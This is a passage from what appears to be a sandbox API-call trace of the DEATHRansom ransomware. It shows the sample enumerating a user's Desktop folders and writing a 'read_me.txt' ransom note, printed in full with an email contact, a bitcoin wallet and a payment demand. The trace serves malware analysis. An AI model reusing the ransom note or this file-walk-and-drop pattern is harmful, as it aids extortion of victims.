HALPmcxz\\Desktop\\p8UL_ERV") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV" [0077.890] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 41 [0077.890] QueueUserWorkItem (Function=0x40a710, Context=0x42120c0, Flags=0x0) returned 1 [0077.890] GetProcessHeap () returned 0x540000 [0077.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42220c8 [0077.891] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\*") returned 52 [0077.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x27bc4e10, ftLastAccessTime.dwHighDateTime=0x1d4c5bd, ftLastWriteTime.dwLowDateTime=0x27bc4e10, ftLastWriteTime.dwHighDateTime=0x1d4c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0077.891] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\.") returned 52 [0077.891] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.891] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x27bc4e10, ftLastAccessTime.dwHighDateTime=0x1d4c5bd, ftLastWriteTime.dwLowDateTime=0x27bc4e10, ftLastWriteTime.dwHighDateTime=0x1d4c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.891] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\..") returned 53 [0077.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.891] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x2119c030, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x2119c030, ftLastWriteTime.dwHighDateTime=0x1d4d551, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9l6YkE2Ncx", cAlternateFileName="9L6YKE~1")) returned 1 [0077.891] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx") returned 61 [0077.891] lstrcmpW (lpString1="9l6YkE2Ncx", lpString2="..") returned 1 [0077.891] lstrcmpW (lpString1="9l6YkE2Ncx", lpString2=".") returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42320d0 [0077.892] lstrcpyW (in: lpString1=0x42320d0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx" [0077.892] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 42 [0077.892] QueueUserWorkItem (Function=0x40a710, Context=0x42320d0, Flags=0x0) returned 1 [0077.892] GetProcessHeap () returned 0x540000 [0077.892] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42420d8 [0077.893] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\*") returned 63 [0077.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x2119c030, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x2119c030, ftLastWriteTime.dwHighDateTime=0x1d4d551, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0077.893] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\.") returned 63 [0077.893] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.893] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.893] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x2119c030, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x2119c030, ftLastWriteTime.dwHighDateTime=0x1d4d551, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.893] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\..") returned 64 [0077.893] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.894] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94f4c50, ftCreationTime.dwHighDateTime=0x1d4c99c, ftLastAccessTime.dwLowDateTime=0xd9dd33e0, ftLastAccessTime.dwHighDateTime=0x1d4c70a, ftLastWriteTime.dwLowDateTime=0xd9dd33e0, ftLastWriteTime.dwHighDateTime=0x1d4c70a, nFileSizeHigh=0x0, nFileSizeLow=0x17c7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2PDo3FvRLwa.m4a", cAlternateFileName="2PDO3F~1.M4A")) returned 1 [0077.894] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\2PDo3FvRLwa.m4a") returned 77 [0077.894] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6044cd60, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xc62e5a00, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0xc62e5a00, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jwR-I_l-yT1jR.jpg", cAlternateFileName="JWR-I_~1.JPG")) returned 1 [0077.894] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\jwR-I_l-yT1jR.jpg") returned 79 [0077.894] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6044cd60, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xc62e5a00, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0xc62e5a00, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jwR-I_l-yT1jR.jpg", cAlternateFileName="JWR-I_~1.JPG")) returned 0 [0077.894] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0077.894] wnsprintfW (in: pszDest=0x42420d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\read_me.txt") returned 73 [0077.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\9l6yke2ncx\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0077.962] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.962] WriteFile (in: hFile=0x7bc, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17eba4, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17eba4*=0x6b3, lpOverlapped=0x0) returned 1 [0077.963] CloseHandle (hObject=0x7bc) returned 1 [0077.964] GetProcessHeap () returned 0x540000 [0077.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42420d8 | out: hHeap=0x540000) returned 1 [0077.964] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee319770, ftCreationTime.dwHighDateTime=0x1d4c7c1, ftLastAccessTime.dwLowDateTime=0x68bd72d0, ftLastAccessTime.dwHighDateTime=0x1d4d1bc, ftLastWriteTime.dwLowDateTime=0x68bd72d0, ftLastWriteTime.dwHighDateTime=0x1d4d1bc, nFileSizeHigh=0x0, nFileSizeLow=0x89c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fmhSZOen-C.gif", cAlternateFileName="FMHSZO~1.GIF")) returned 1 [0077.964] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\fmhSZOen-C.gif") returned 65 [0077.964] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x5fb31040, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x5fb31040, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ldy6l2o5 ZKC8QGIhm", cAlternateFileName="LDY6L2~1")) returned 1 [0077.964] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm") returned 69 [0077.964] lstrcmpW (lpString1="Ldy6l2o5 ZKC8QGIhm", lpString2="..") returned 1 [0077.964] lstrcmpW (lpString1="Ldy6l2o5 ZKC8QGIhm", lpString2=".") returned 1 [0077.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42420d8 [0077.964] lstrcpyW (in: lpString1=0x42420d8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm" [0077.964] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 43 [0077.964] QueueUserWorkItem (Function=0x40a710, Context=0x42420d8, Flags=0x0) returned 1 [0077.964] GetProcessHeap () returned 0x540000 [0077.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42520e0 [0077.965] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\*") returned 71 [0077.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x5fb31040, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x5fb31040, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0077.965] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\.") returned 71 [0077.965] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.965] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.965] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x5fb31040, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x5fb31040, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.965] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\..") returned 72 [0077.965] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.965] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x322cec10, ftCreationTime.dwHighDateTime=0x1d4d292, ftLastAccessTime.dwLowDateTime=0x5be13a20, ftLastAccessTime.dwHighDateTime=0x1d4cefa, ftLastWriteTime.dwLowDateTime=0x5be13a20, ftLastWriteTime.dwHighDateTime=0x1d4cefa, nFileSizeHigh=0x0, nFileSizeLow=0x4856, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="6Np863uvujWXI_l40Hs.wav", cAlternateFileName="6NP863~1.WAV")) returned 1 [0077.965] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\6Np863uvujWXI_l40Hs.wav") returned 93 [0077.965] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56805280, ftCreationTime.dwHighDateTime=0x1d4d3a2, ftLastAccessTime.dwLowDateTime=0xd3089810, ftLastAccessTime.dwHighDateTime=0x1d4c60c, ftLastWriteTime.dwLowDateTime=0xd3089810, ftLastWriteTime.dwHighDateTime=0x1d4c60c, nFileSizeHigh=0x0, nFileSizeLow=0xe233, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iATfWourDF_VbLZ.m4a", cAlternateFileName="IATFWO~1.M4A")) returned 1 [0077.966] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\iATfWourDF_VbLZ.m4a") returned 89 [0077.966] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d834f0, ftCreationTime.dwHighDateTime=0x1d4cc5e, ftLastAccessTime.dwLowDateTime=0x711582a0, ftLastAccessTime.dwHighDateTime=0x1d4d370, ftLastWriteTime.dwLowDateTime=0x711582a0, ftLastWriteTime.dwHighDateTime=0x1d4d370, nFileSizeHigh=0x0, nFileSizeLow=0xea3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UgVk9.ots", cAlternateFileName="")) returned 1 [0077.966] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\UgVk9.ots") returned 79 [0077.966] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc0eef0, ftCreationTime.dwHighDateTime=0x1d4ca6a, ftLastAccessTime.dwLowDateTime=0x496b2860, ftLastAccessTime.dwHighDateTime=0x1d4cdd3, ftLastWriteTime.dwLowDateTime=0x496b2860, ftLastWriteTime.dwHighDateTime=0x1d4cdd3, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_4DI- 2.gif", cAlternateFileName="_4DI-2~1.GIF")) returned 1 [0077.966] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\_4DI- 2.gif") returned 82 [0077.966] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc0eef0, ftCreationTime.dwHighDateTime=0x1d4ca6a, ftLastAccessTime.dwLowDateTime=0x496b2860, ftLastAccessTime.dwHighDateTime=0x1d4cdd3, ftLastWriteTime.dwLowDateTime=0x496b2860, ftLastWriteTime.dwHighDateTime=0x1d4cdd3, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_4DI- 2.gif", cAlternateFileName="_4DI-2~1.GIF")) returned 0 [0077.966] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0077.966] wnsprintfW (in: pszDest=0x42520e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\read_me.txt") returned 81 [0077.966] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0077.966] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.966] WriteFile (in: hFile=0x7bc, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17eba4, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17eba4*=0x6b3, lpOverlapped=0x0) returned 1 [0077.967] CloseHandle (hObject=0x7bc) returned 1 [0077.967] GetProcessHeap () returned 0x540000 [0077.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42520e0 | out: hHeap=0x540000) returned 1 [0077.967] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1825d2d0, ftCreationTime.dwHighDateTime=0x1d4ca0b, ftLastAccessTime.dwLowDateTime=0x636572a0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0x636572a0, ftLastWriteTime.dwHighDateTime=0x1d4cbe1, nFileSizeHigh=0x0, nFileSizeLow=0x2439, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="n7IO5w0McAOmiXJ VZMN.bmp", cAlternateFileName="N7IO5W~1.BMP")) returned 1 [0077.967] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\n7IO5w0McAOmiXJ VZMN.bmp") returned 75 [0077.967] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45674770, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x2af21b10, ftLastAccessTime.dwHighDateTime=0x1d4d039, ftLastWriteTime.dwLowDateTime=0x2af21b10, ftLastWriteTime.dwHighDateTime=0x1d4d039, nFileSizeHigh=0x0, nFileSizeLow=0xab06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="W4pTyYH6T.gif", cAlternateFileName="W4PTYY~1.GIF")) returned 1 [0077.967] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\W4pTyYH6T.gif") returned 64 [0077.967] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81439d80, ftCreationTime.dwHighDateTime=0x1d4d355, ftLastAccessTime.dwLowDateTime=0x2214b080, ftLastAccessTime.dwHighDateTime=0x1d4cd86, ftLastWriteTime.dwLowDateTime=0x2214b080, ftLastWriteTime.dwHighDateTime=0x1d4cd86, nFileSizeHigh=0x0, 